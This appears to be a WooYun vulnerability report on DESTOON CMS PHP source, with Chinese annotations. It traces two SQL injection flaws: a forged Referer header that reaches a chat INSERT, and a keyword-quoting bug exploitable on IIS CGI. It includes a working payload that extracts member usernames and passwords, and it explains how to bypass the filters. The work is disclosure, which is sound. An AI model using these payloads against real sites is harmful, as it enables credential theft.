WooYun.org

if(!empty($_SERVER['REQUEST_URI'])) strip_uri($_SERVER['REQUEST_URI']);//跟进0x01
if($_POST) { $_POST = strip_sql($_POST); strip_key($_POST); }
if($_GET) { $_GET = strip_sql($_GET); strip_key($_GET); }
...
if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);
...
$DT_REF = get_env('referer'); //跟进0x01
...
$forward = isset($forward) ? urldecode($forward) : $DT_REF;//注入1跟进0x02,没有设置forward的话就用referer替代，而referer是由我们控制的而且不受GPC影响，也不受过滤的影响。
...
$kw = isset($_GET['kw']) ? htmlspecialchars(str_replace(array("\'"), array(''), trim(urldecode($_GET['kw'])))) : ''; 
//注入2跟进0x03,这里程序员实际意思是想把'替换成空，应该这么写array('\''),但是他用的双引号，意思就是将\'替换成空，这里可以我们通过urldecode成功绕过通用防注入跟引入单引号。程序检查了REQUEST_URI里不能含有',所以这个只有在IIS的平台下，并且是要以cgi/fastcgi运行才不会获取到数据从而绕过。
//http://support.microsoft.com/kb/954946/zh-cn
//http://support.microsoft.com/kb/2277918/zh-cn
$keyword = $kw ? str_replace(array(' ', '*'), array('%', '%'), $kw) : '';//空格替换成%,用%09绕过就行了。
...

function strip_uri($uri) {
	if(strpos($uri, '%') !== false) {
		while($uri != urldecode($uri)) {
			$uri = urldecode($uri);
		}
	}
	if(strpos($uri, '<') !== false || strpos($uri, "'") !== false || strpos($uri, '"') !== false || strpos($uri, '0x') !== false) {  //不能出现'
		dhttp(403, 0);
		dalert('HTTP 403 Forbidden', DT_PATH);
	}
}
function strip_sql($string) {//由于可伪造referer，还有可以通过urldecode解码绕过，无视下面。
	$search = array("/union/i","/0x([a-z0-9]{2,})/i","/select([[:space:]\*\/\-])/i","/update([[:space:]\*\/])/i","/replace([[:space:]\*\/])/i","/delete([[:space:]\*\/])/i","/drop([[:space:]\*\/])/i","/outfile([[:space:]\*\/])/i","/dumpfile([[:space:]\*\/])/i","/load_file\(/i","/substring\(/i","/substr\(/i","/concat\(/i","/concat_ws\(/i","/ascii\(/i","/hex\(/i","/ord\(/i","/char\(/i");
	$replace = array('unio&#110;','0&#120;\\1','selec&#116;\\1','updat&#101;\\1','replac&#101;\\1','delet&#101;\\1','dro&#112;\\1','outfil&#101;\\1','dumpfil&#101;\\1','load_fil&#101;(','substrin&#103;(','subst&#114;(','conca&#116;(','concat_w&#115;(','asci&#105;(','he&#120;(','or&#100;(','cha&#114;(');
	return is_array($string) ? array_map('strip_sql', $string) : preg_replace($search, $replace, $string);
}
function get_env($type) {
	switch($type) {
		case 'ip':
...
		case 'referer':
			return isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';//可伪造。
...

if($chat) {
				//对话已经存在
				if($chat['touser'] == $_username) {//当前为接收人
					if($DT_TIME - $chat['freadtime'] > $MOD['chat_poll']*3) {//发起对话人已经断开
						$db->query("UPDATE {$table} SET fromuser='$chat_fromuser',touser='$chat_touser',tgettime=0 WHERE chatid='$chatid'");
					} else {//发起人在线
						dheader('?chatid='.$chatid);
					}
					//
				} else {//当前为发起人
					if($DT_TIME - $chat['treadtime'] > $MOD['chat_poll']*3) {//接收人已经断开
						$db->query("UPDATE {$table} SET tgettime=0 WHERE chatid='$chatid'");
					} else {//接收人在线
						//
					}
				}
			} else {
				$forward = dsafe($forward);
				if(strpos($forward, $MOD['linkurl']) !== false) $forward = '';
				//创建一个新对话
				$db->query("INSERT INTO {$table} (chatid,fromuser,touser,tgettime,forward) VALUES ('$chat_id','$chat_fromuser','$chat_touser','0','$forward')"); //伪造referer注射。
/*
wooyun'),(12345679801234567890123456789012,(select concat(username,0x2C,password) from destoon_member limit 0,1),'test2test',4,'5
访问
http://localhost/de/member/chat.php?chatid=12345678901234567890123456789012
就能看到注入返回的数据了。
*/
			}
		} else if(isset($chatid) && is_md5($chatid)) {
			$chat = $db->get_one("SELECT * FROM {$table} WHERE chatid='$chatid'");
			if($chat && $chat['touser'] == $_username) {
				$chat_id = $chatid;
				$chat_status = 3;
				if(check_name($chat['fromuser'])) {
					if($DT_TIME - $chat['freadtime'] > $MOD['chat_poll']*3) {//发起对话人已经断开
						$db->query("UPDATE {$table} SET tgettime=0 WHERE chatid='$chatid'");
						dheader('chat.php?touser='.$chat['fromuser']);
					}
					$user = userinfo($chat['fromuser']);
					$online = online($user['userid']);
					$user['type'] = 'member';
				} else {
					$user = array();
					$user['type'] = 'guest';
					$user['ip'] = $chat['fromuser'];
					$user['area'] = ip2area($chat['fromuser']);
					if($DT_TIME - $chat['freadtime'] > $MOD['chat_poll']*3) {//发起人是游客，并且已经断开，只能查看记录
						$time = $DT_TIME - $MOD['chat_poll']*4;
						$db->query("UPDATE {$table} SET freadtime='$time' WHERE chatid='$chatid'");
					}
				}
				$head_title = '与'.($user['type'] == 'guest' ? '【游客】' : $chat['fromuser']).'对话中';
			} else {
				dheader('chat.php');
			}
			$type = 2;
		}

login();
if($action == 'item') {
	$mid > 3 or dheader('DT_PATH');	
	$from = isset($from) ? trim($from) : 'item';
	isset($username) or $username = '';
	$condition = $mid == 4 ? 'groupid>5' : 'status=3';
	if($keyword) $condition .= " AND keyword LIKE '%$keyword%'";//在上面说的条件下，就可以成功引入单引号，双编码注射,比如select就可以编码成selec%2574绕过。
	if($from == 'relate' && $mid == 16) {
		check_name($username) or exit;
		$condition .= " AND username='$username'";
	} else {
		if($_groupid == 1) {
			if($from == 'member') $condition .= " AND username='$_username'";
		} else {
			$condition .= " AND username='$_username'";
		}
	}
	if($itemid) $condition .= $mid == 4 ? " AND userid=$itemid" : " AND itemid=$itemid";
	$order = $mid == 4 ? 'userid DESC' : 'addtime DESC';
	$table = get_table($mid);
	$r = $db->get_one("SELECT COUNT(*) AS num FROM {$table} WHERE $condition");//带入查询。
	$items = $r['num'];
	$pages = pages($items, $page, $pagesize);
	$lists = array();
	$result = $db->query("SELECT * FROM {$table} WHERE $condition ORDER BY $order LIMIT $offset,$pagesize");